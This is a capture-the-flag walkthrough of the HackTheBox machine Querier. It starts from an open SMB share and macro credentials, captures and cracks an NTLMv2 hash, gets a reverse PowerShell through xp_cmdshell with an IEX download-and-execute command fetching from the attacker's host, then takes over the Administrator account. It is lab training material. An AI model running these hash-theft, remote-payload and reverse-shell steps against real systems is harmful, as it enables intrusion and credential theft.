Querier from HackTheBox


A open SMB share gives access to a script that makes connections to a MSSQL server. From this script credentials for the server can be obtained.  With this a NTLMv2 hash can be captured from the mssql-svc user. The hash can be cracked and the gained credentials can be used to spawn a reverse power shell. Enumeration of the system reveals that the administrator password was cached allowing us to log in as the administrator.


Nmaping the target reveals the following.

nmap -sS -sV -sC -T5 -p- -o nmap-tcp-full

Starting Nmap 7.70 ( https://nmap.org ) at 2019-02-17 16:01 GMT
Warning: giving up on port because retransmission cap hit (2).
Nmap scan report for querier.htb (
Host is up (0.035s latency).
Not shown: 65225 closed ports, 296 filtered ports
135/tcp   open  msrpc         Microsoft Windows RPC
139/tcp   open  netbios-ssn   Microsoft Windows netbios-ssn
445/tcp   open  microsoft-ds?
1433/tcp  open  ms-sql-s      Microsoft SQL Server  14.00.1000.00
| ms-sql-ntlm-info:
|   Target_Name: HTB
|   NetBIOS_Domain_Name: HTB
|   NetBIOS_Computer_Name: QUERIER
|   DNS_Domain_Name: HTB.LOCAL
|   DNS_Computer_Name: QUERIER.HTB.LOCAL
|   DNS_Tree_Name: HTB.LOCAL
|_  Product_Version: 10.0.17763
| ssl-cert: Subject: commonName=SSL_Self_Signed_Fallback
| Not valid before: 2019-02-17T14:24:31
|_Not valid after:  2049-02-17T14:24:31
|_ssl-date: 2019-02-17T16:04:34+00:00; -1s from scanner time.
5985/tcp  open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
47001/tcp open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
49664/tcp open  msrpc         Microsoft Windows RPC
49665/tcp open  msrpc         Microsoft Windows RPC
49666/tcp open  msrpc         Microsoft Windows RPC
49667/tcp open  msrpc         Microsoft Windows RPC
49668/tcp open  msrpc         Microsoft Windows RPC
49669/tcp open  msrpc         Microsoft Windows RPC
49670/tcp open  msrpc         Microsoft Windows RPC
49671/tcp open  msrpc         Microsoft Windows RPC
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
| ms-sql-info:
|     Version:
|       name: Microsoft SQL Server
|       number: 14.00.1000.00
|       Product: Microsoft SQL Server
|_    TCP port: 1433
| smb2-security-mode:
|   2.02:
|_    Message signing enabled but not required
| smb2-time:
|   date: 2019-02-17 16:04:38
|_  start_date: N/A

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 204.20 seconds

From this we can see that there is a Microsoft SQL Server running along with an smb2 server.


Lets check if the SMB server has any shares we can access anonymously.

smbclient -L

Enter WORKGROUP\root's password: 

        Sharename       Type      Comment
        ---------       ----      -------
        ADMIN$          Disk      Remote Admin
        C$              Disk      Default share
        IPC$            IPC       Remote IPC
        Reports         Disk      
Reconnecting with SMB1 for workgroup listing.
Connection to failed (Error NT_STATUS_RESOURCE_NAME_NOT_FOUND)
Failed to connect with SMB1 -- no workgroup available

The Reports share is looking suspicious next we can query our permissions and find out if we can read and write to the shares with smbmap

smbmap -u Anonymous -H

[+] Finding open SMB ports....
[+] Guest SMB session established on
[+] IP:        Name: querier.htb
        Disk                                                    Permissions
        ----                                                    -----------
        ADMIN$                                                  NO ACCESS
        C$                                                      NO ACCESS
        IPC$                                                    READ ONLY
        Reports                                                 READ ONLY

As we have read access we can connect to the share with smbclient.

smbclient //

Enter WORKGROUP\root's password: 
Try "help" to get a list of possible commands.
smb: \> ls
  .                                   D        0  Mon Jan 28 23:23:48 2019
  ..                                  D        0  Mon Jan 28 23:23:48 2019
  Currency Volume Report.xlsm         A    12229  Sun Jan 27 22:21:34 2019

                6469119 blocks of size 4096. 1463416 blocks available
smb: \> get "Currency Volume Report.xlsm"
getting file \Currency Volume Report.xlsm of size 12229 as Currency Volume Report.xlsm (77.5 KiloBytes/sec) (average 77.5 KiloBytes/sec)
smb: \> exit

There is a single file which can be downloaded with get.

file Currency\ Volume\ Report.xlsm

Currency Volume Report.xlsm: Microsoft Excel 2007+

Analysing the file header shows that the file is a Microsoft Excel document and basic knowledge of excel file extensions tells us .xlsm corresponds to a macro enabled work book.  So due care must be taken when working with the file.

As the extension suggested the workbook does contain a macro.  Luckily the macro isn't malicious and instead makes a connection to a remote database.

' macro to pull data for client volume reports
' further testing required

Private Sub Connect()

Dim conn As ADODB.Connection
Dim rs As ADODB.Recordset

Set conn = New ADODB.Connection
conn.ConnectionString = "Driver={SQL Server};Server=QUERIER;Trusted_Connection=no;Database=volume;Uid=reporting;Pwd=PcwTWTHRwryjc$c6"
conn.ConnectionTimeout = 10

If conn.State = adStateOpen Then

  ' MsgBox "connection successful"
  'Set rs = conn.Execute("SELECT * @@version;")
  Set rs = conn.Execute("SELECT * FROM volume;")
  Sheets(1).Range("A1").CopyFromRecordset rs

End If

End Sub

From the script we can extract credentials for the Microsoft SQL Server with these we can connect to the server with Metasploit.

It is important to set USE_WINDOWS_AUTHENT to true otherwise the connection will fail.

As it is likely we will be using a few different metasploit modules with the same options using setg instead of set will make the options persistent across modules for the rest of the metasploit session saving you loads of time!

msf5 auxiliary(admin/mssql/mssql_enum) > show options

Module options (auxiliary/admin/mssql/mssql_enum):

   Name                 Current Setting   Required  Description
   ----                 ---------------   --------  -----------
   PASSWORD             PcwTWTHRwryjc$c6  no        The password for the specified username
   RHOSTS           yes       The target address range or CIDR identifier
   RPORT                1433              yes       The target port (TCP)
   TDSENCRYPTION        false             yes       Use TLS/SSL for TDS data "Force Encryption"
   USERNAME             reporting         no        The username to authenticate as
   USE_WINDOWS_AUTHENT  true              yes       Use windows authentification (requires DOMAIN option set)

The mssql_enum module attempts to enumerate the server and prints relevant information.

msf5 auxiliary(admin/mssql/mssql_enum) > run

[*] - Running MS SQL Server Enumeration...
[*] - Version:
[*]     Microsoft SQL Server 2017 (RTM) - 14.0.1000.169 (X64)
[*]             Aug 22 2017 17:04:49
[*]             Copyright (C) 2017 Microsoft Corporation
[*]             Standard Edition (64-bit) on Windows Server 2019 Standard 10.0 <X64> (Build 17763: ) (Hypervisor)
[*] - Configuration Parameters:
[*] -         C2 Audit Mode is Not Enabled
[*] -         xp_cmdshell is Not Enabled
[*] -         remote access is Enabled
[*] -         allow updates is Not Enabled
[*] -         Database Mail XPs is Not Enabled
[*] -         Ole Automation Procedures are Not Enabled
[*] - Databases on the server:
[*] -         Database name:master
[*] -         Database Files for master:
[*] -                 C:\Program Files\Microsoft SQL Server\MSSQL14.MSSQLSERVER\MSSQL\DATA\master.mdf
[*] -                 C:\Program Files\Microsoft SQL Server\MSSQL14.MSSQLSERVER\MSSQL\DATA\mastlog.ldf
[*] -         Database name:tempdb
[*] -         Database Files for tempdb:
[*] -                 C:\Program Files\Microsoft SQL Server\MSSQL14.MSSQLSERVER\MSSQL\DATA\tempdb.mdf
[*] -                 C:\Program Files\Microsoft SQL Server\MSSQL14.MSSQLSERVER\MSSQL\DATA\templog.ldf
[*] -                 C:\Program Files\Microsoft SQL Server\MSSQL14.MSSQLSERVER\MSSQL\DATA\tempdb_mssql_2.ndf
[*] -         Database name:model
[*] -         Database Files for model:
[*] -         Database name:msdb
[*] -         Database Files for msdb:
[*] -                 C:\Program Files\Microsoft SQL Server\MSSQL14.MSSQLSERVER\MSSQL\DATA\MSDBData.mdf
[*] -                 C:\Program Files\Microsoft SQL Server\MSSQL14.MSSQLSERVER\MSSQL\DATA\MSDBLog.ldf
[*] -         Database name:volume
[*] -         Database Files for volume:
[*] -                 C:\Program Files\Microsoft SQL Server\MSSQL14.MSSQLSERVER\MSSQL\DATA\volume.mdf
[*] -                 C:\Program Files\Microsoft SQL Server\MSSQL14.MSSQLSERVER\MSSQL\DATA\volume_log.ldf
[*] - System Logins on this Server:
[*] -         sa
[*] -         QUERIER\reporting
[*] - Disabled Accounts:
[*] -         sa
[*] - No Accounts Policy is set for:
[*] -         All System Accounts have the Windows Account Policy Applied to them.
[*] - Password Expiration is not checked for:
[*] -         sa
[*] - System Admin Logins on this Server:
[*] -         sa
[*] - Windows Logins on this Server:
[*] -         QUERIER\reporting
[*] - Windows Groups that can logins on this Server:
[*] -         No Windows Groups where found with permission to login to system.
[*] - Accounts with Username and Password being the same:
[*] -         No Account with its password being the same as its username was found.
[*] - Accounts with empty password:
[*] -         No Accounts with empty passwords where found.
[*] -         No Dangerous Stored Procedure found with Public Execute.
[*] - Instances found on this server:
[*] - Default Server Instance SQL Server Service is running under the privilege of:
[*] -         .\mssql-svc
[*] Auxiliary module execution completed

In this case the most important information is that the MSSQL server is running under mssql-svc on the remote host.

We can use the mssql_ntlm_stealer module to try to capture the ntlm hash of this user.

msf5 > use admin/mssql/mssql_ntlm_stealer
msf5 auxiliary(admin/mssql/mssql_ntlm_stealer) > show options

Module options (auxiliary/admin/mssql/mssql_ntlm_stealer):

   Name                 Current Setting   Required  Description
   ----                 ---------------   --------  -----------
   PASSWORD             PcwTWTHRwryjc$c6  no        The password for the specified username
   RHOSTS           yes       The target address range or CIDR identifier
   RPORT                1433              yes       The target port (TCP)
   SMBPROXY         yes       IP of SMB proxy or sniffer.
   TDSENCRYPTION        false             yes       Use TLS/SSL for TDS data "Force Encryption"
   THREADS              1                 yes       The number of concurrent threads
   USERNAME             reporting         no        The username to authenticate as
   USE_WINDOWS_AUTHENT  true              yes       Use windows authentification (requires DOMAIN option set)

Before the module is run a smbproxy needs to be set up to capture the hash.  In this case I used responder which is a NetBIOS Name Service responder.

responder -I tun0
  .----.-----.-----.-----.-----.-----.--|  |.-----.----.
  |   _|  -__|__ --|  _  |  _  |     |  _  ||  -__|   _|
  |__| |_____|_____|   __|_____|__|__|_____||_____|__|

           NBT-NS, LLMNR & MDNS Responder

  Author: Laurent Gaffie ([email protected])
  To kill this script hit CRTL-C

Once responder is running the metasploit module can be executed.

msf5 auxiliary(admin/mssql/mssql_ntlm_stealer) > run

[*]     - DONT FORGET to run a SMB capture or relay module!
[*]     - Forcing SQL Server at to auth to via xp_dirtree...
[+]     - Successfully executed xp_dirtree on
[+]     - Go check your SMB relay or capture module for goodies!
[*]     - Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf5 auxiliary(admin/mssql/mssql_ntlm_stealer) >

The module works by tricking the mssql server into sending an authentication request to a arbitrary server.  As we control the server we can use it to capture the hash used for authentication and then crack it offline.

[+] Listening for events...
[SMBv2] NTLMv2-SSP Client   :
[SMBv2] NTLMv2-SSP Username : QUERIER\mssql-svc
[SMBv2] NTLMv2-SSP Hash     : mssql-svc::QUERIER:633c9e0769c4b770:C04309CD20A7DC2F00CDB27B2AB60C22:0101000000000000C0653150DE09D201550B285AA705ABC6000000000200080053004D004200330001001E00570049004E002D00500052004800340039003200520051004100460056000400140053004D00420033002E006C006F00630061006C0003003400570049004E002D00500052004800340039003200520051004100460056002E0053004D00420033002E006C006F00630061006C000500140053004D00420033002E006C006F00630061006C0007000800C0653150DE09D2010600040002000000080030003000000000000000000000000030000094366A031B5D743F5DEBA363F69B886A599494694A2192D056B7D4475C6014C70A001000000000000000000000000000000000000900220063006900660073002F00310030002E00310030002E00310032002E00320031003600000000000000000000000000
[*] Skipping previously captured hash for QUERIER\mssql-svc
[SMBv2] NTLMv2-SSP Client   :
[SMBv2] NTLMv2-SSP Username : \gX
[SMBv2] NTLMv2-SSP Hash     : gX:::b7dbbd979b157f8b::
[*] Skipping previously captured hash for \gX

The module executed successfully and responder captured the hash. We can now use hashcat to crack the hash which is mode 5600 or NetNTLMv2. rockyou.txt is a sufficient word list as the hash cracks in a matter of seconds.

hashcat -a 0 -m 5600 mssql-svc::QUERIER:633c9e0769c4b770:C04309CD20A7DC2F00CDB27B2AB60C22:0101000000000000C0653150DE09D201550B285AA705ABC6000000000200080053004D004200330001001E00570049004E002D00500052004800340039003200520051004100460056000400140053004D00420033002E006C006F00630061006C0003003400570049004E002D00500052004800340039003200520051004100460056002E0053004D00420033002E006C006F00630061006C000500140053004D00420033002E006C006F00630061006C0007000800C0653150DE09D2010600040002000000080030003000000000000000000000000030000094366A031B5D743F5DEBA363F69B886A599494694A2192D056B7D4475C6014C70A001000000000000000000000000000000000000900220063006900660073002F00310030002E00310030002E00310032002E00320031003600000000000000000000000000 /usr/share/wordlists/rockyou.txt

Dictionary cache hit:
* Filename..: /usr/share/wordlists/rockyou.txt
* Passwords.: 14344385
* Bytes.....: 139921507
* Keyspace..: 14344385


Session..........: hashcat
Status...........: Cracked
Hash.Type........: NetNTLMv2
Hash.Target......: MSSQL-SVC::QUERIER:633c9e0769c4b770:c04309cd20a7dc2...000000
Time.Started.....: Sun Feb 17 16:34:34 2019 (13 secs)
Time.Estimated...: Sun Feb 17 16:34:47 2019 (0 secs)
Guess.Base.......: File (/usr/share/wordlists/rockyou.txt)
Guess.Queue......: 1/1 (100.00%)
Speed.#1.........:   701.3 kH/s (3.87ms) @ Accel:1024 Loops:1 Thr:1 Vec:8
Recovered........: 1/1 (100.00%) Digests, 1/1 (100.00%) Salts
Progress.........: 8962048/14344385 (62.48%)
Rejected.........: 0/8962048 (0.00%)
Restore.Point....: 8957952/14344385 (62.45%)
Restore.Sub.#1...: Salt:0 Amplifier:0-1 Iteration:0-1
Candidates.#1....: correita.54 -> coreyr1

This gives us a new set of credentials for the user mssql-svc.


We can now execute commands on the remote host as mssql-svc.  Next job is getting a user level shell. To do this I'm going to use Invoke-PowerShellTcp.ps1 from nishang. First download the script and then add the following line to the bottom specifying where to send the shell. Finally, starting an http server to host the file.

Invoke-PowerShellTcp -Reverse -IPAddress 10.10.MY.IP -Port 443

Now we can use the mssql_exec script to download and execute our script.

set CMD 'powershell.exe IEX(New-Object Net.WebClient).downloadString(\"http://10.10.MY.IP:8000/Invoke-PowerShellTcp.ps1\")'

IEX stands for Invoke-Expression and executes the script whilst the rest downloads the script from out http server.

Care needs to be taken to escape punctuation when specifying the command in metasploit.

msf5 > use auxiliary/admin/mssql/mssql_exec
msf5 auxiliary(admin/mssql/mssql_exec) > show options

Module options (auxiliary/admin/mssql/mssql_exec):

   Name                 Current Setting   Required  Description
   ----                 ---------------   --------  -----------
   CMD                                    no        Command to execute
   PASSWORD             PcwTWTHRwryjc$c6  no        The password for the specified username
   RHOSTS           yes       The target address range or CIDR identifier
   RPORT                1433              yes       The target port (TCP)
   TDSENCRYPTION        false             yes       Use TLS/SSL for TDS data "Force Encryption"
   USERNAME             reporting         no        The username to authenticate as
   USE_WINDOWS_AUTHENT  true              yes       Use windows authentification (requires DOMAIN option set)

msf5 auxiliary(admin/mssql/mssql_exec) > set PASSWORD corporate568
PASSWORD => corporate568
msf5 auxiliary(admin/mssql/mssql_exec) > setg USERNAME mssql-svc
USERNAME => mssql-svc
msf5 auxiliary(admin/mssql/mssql_exec) > set CMD 'powershell.exe IEX(New-Object Net.WebClient).downloadString(\"\")'
CMD => powershell.exe IEX(New-Object Net.WebClient).downloadString(\"\")
msf5 auxiliary(admin/mssql/mssql_exec) > run

[*] - SQL Query: EXEC master..xp_cmdshell 'powershell.exe IEX(New-Object Net.WebClient).downloadString(\"\")'
[*] Auxiliary module execution completed
msf5 auxiliary(admin/mssql/mssql_exec) >

Also, don't forget to start a reverse shell listener.

nc -vnlp 443

listening on [any] 443 ...
connect to [] from (UNKNOWN) [] 49734
Windows PowerShell running as user mssql-svc on QUERIER
Copyright (C) 2015 Microsoft Corporation. All rights reserved.

PS C:\Windows\system32>

If everything is correct you should now have a reverse powershell waiting for you.


Next let's run PowerUp.ps1 which aims to be a clearinghouse of common Windows privilege escalation vectors that rely on misconfigurations.  Again the file needs to be hosted locally on an http server so it is accessible to the remote host.

IEX(New-Object Net.WebClient).downloadString("")

In the same was as before we can use IEX to execute the script.

PS C:\Windows\system32>IEX(New-Object Net.WebClient).downloadString("")

[*] Running Invoke-AllChecks


[*] Checking for cached Group Policy Preferences .xml files....

Changed   : {2019-01-28 23:12:48}
UserNames : {Administrator}
NewName   : [BLANK]
Passwords : {MyUnclesAreMarioAndLuigi!!1!}
File      : C:\ProgramData\Microsoft\Group

Eventually, the script finds a set of credentials for the Administrator.


There are many ways to get a shell on a Windows system from a set of credentials.  Many of these methods are outlined in the below article.


Here I used wmiexec.py which worked out of the box and without having to install software (on kali at least). Admittedly, the shell is relatively slow so alternative methods may be better and are interesting to look through.

wmiexec.py 'QUERIER/Administrator:[email protected]'                                                                                             
Impacket v0.9.18-dev - Copyright 2002-2018 Core Security Technologies

[*] SMBv3.0 dialect used
[!] Launching semi-interactive shell - Careful what you execute
[!] Press help for extra shell commands